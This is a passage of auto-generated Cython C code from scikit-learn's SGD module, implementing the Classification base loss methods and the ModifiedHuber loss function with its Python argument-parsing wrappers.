= 98; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.Classification.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_14Classification_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_14Classification_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Classification.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_14Classification_loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":97\n *     \"\"\"Base class for loss functions for classification\"\"\"\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         raise NotImplementedError()\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_14Classification_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Classification *)__pyx_v_self->__pyx_base.__pyx_vtab)->__pyx_base.loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Classification.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":100\n *         raise NotImplementedError()\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         raise NotImplementedError()\n * \n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_14Classification_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_14Classification_dloss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification *__pyx_v_self, CYTHON_UNUSED double __pyx_v_p, CYTHON_UNUSED double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_14Classification_3dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":101\n * \n *     cpdef double dloss(self, double p, double y):\n *         raise NotImplementedError()             # <<<<<<<<<<<<<<\n * \n * \n */\n  __pyx_t_1 = PyObject_Call(__pyx_builtin_NotImplementedError, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 101; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_Raise(__pyx_t_1, 0, 0, 0);\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  {__pyx_filename = __pyx_f[0]; __pyx_lineno = 101; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.Classification.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_14Classification_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_14Classification_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Classification.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_14Classification_2dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":100\n *         raise NotImplementedError()\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         raise NotImplementedError()\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_14Classification_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Classification *)__pyx_v_self->__pyx_base.__pyx_vtab)->__pyx_base.dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 100; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Classification.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":112\n *     Stochastic Gradient Descent', ICML'04.\n *     \"\"\"\n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         if z >= 1.0:\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_loss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_z;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_t_6;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_1loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":113\n *     \"\"\"\n *     cpdef double loss(self, double p, double y):\n *         cdef double z = p * y             # <<<<<<<<<<<<<<\n *         if z >= 1.0:\n *             return 0.0\n */\n  __pyx_v_z = (__pyx_v_p * __pyx_v_y);\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":114\n *     cpdef double loss(self, double p, double y):\n *         cdef double z = p * y\n *         if z >= 1.0:             # <<<<<<<<<<<<<<\n *             return 0.0\n *         elif z >= -1.0:\n */\n  __pyx_t_6 = (__pyx_v_z >= 1.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":115\n *         cdef double z = p * y\n *         if z >= 1.0:\n *             return 0.0             # <<<<<<<<<<<<<<\n *         elif z >= -1.0:\n *             return (1.0 - z) * (1.0 - z)\n */\n    __pyx_r = 0.0;\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":116\n *         if z >= 1.0:\n *             return 0.0\n *         elif z >= -1.0:             # <<<<<<<<<<<<<<\n *             return (1.0 - z) * (1.0 - z)\n *         else:\n */\n  __pyx_t_6 = (__pyx_v_z >= -1.0);\n  if (__pyx_t_6) {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":117\n *             return 0.0\n *         elif z >= -1.0:\n *             return (1.0 - z) * (1.0 - z)             # <<<<<<<<<<<<<<\n *         else:\n *             return -4.0 * z\n */\n    __pyx_r = ((1.0 - __pyx_v_z) * (1.0 - __pyx_v_z));\n    goto __pyx_L0;\n    goto __pyx_L3;\n  }\n  /*else*/ {\n\n    /* \"sklearn/linear_model/sgd_fast.pyx\":119\n *             return (1.0 - z) * (1.0 - z)\n *         else:\n *             return -4.0 * z             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n    __pyx_r = (-4.0 * __pyx_v_z);\n    goto __pyx_L0;\n  }\n  __pyx_L3:;\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.ModifiedHuber.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.ModifiedHuber.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":112\n *     Stochastic Gradient Descent', ICML'04.\n *     \"\"\"\n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         if z >= 1.0:\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *)__pyx_v_self->__pyx_base.__pyx_base.__pyx_vtab)->__pyx_base.__pyx_base.loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 112; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.ModifiedHuber.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":121\n *             return -4.0 * z\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         cdef double z = p * y\n *         if z >= 1.0:\n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_13ModifiedHuber_dloss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_ModifiedHuber *__pyx_v_self, double __pyx_v_p, double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_v_z;\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject 